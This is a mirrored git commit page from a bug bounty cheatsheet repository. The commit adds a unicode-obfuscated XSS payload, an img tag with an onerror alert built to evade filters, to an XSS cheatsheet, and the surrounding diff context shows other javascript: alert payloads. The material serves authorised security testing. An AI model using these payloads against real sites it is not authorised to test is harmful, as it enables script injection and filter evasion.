Mirrors/bugbounty-cheatsheet
2
0
Fork 0
mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2024-11-24 20:13:06 +00:00
Code Issues Projects Releases Packages Wiki Activity

Add unicode XSS payload.

Browse source
This commit is contained in:
EdOverflow 2017-08-28 16:36:49 +02:00
parent f0396aa116
commit 2842feec7b
1 changed files with 6 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
cheatsheets/xss.md
View file

@ -116,6 +116,12 @@ XSS[JavaScript:alert(1)]
__ javascript:alert(document.domain)
```
**Unicode characters**
```html
†‡•＜img src=a onerror=javascript:alert('hacked')>…‰€
```
**AngularJS Template Injection based XSS**
*For manual verification on a live target, use `angular.version` in your browser console*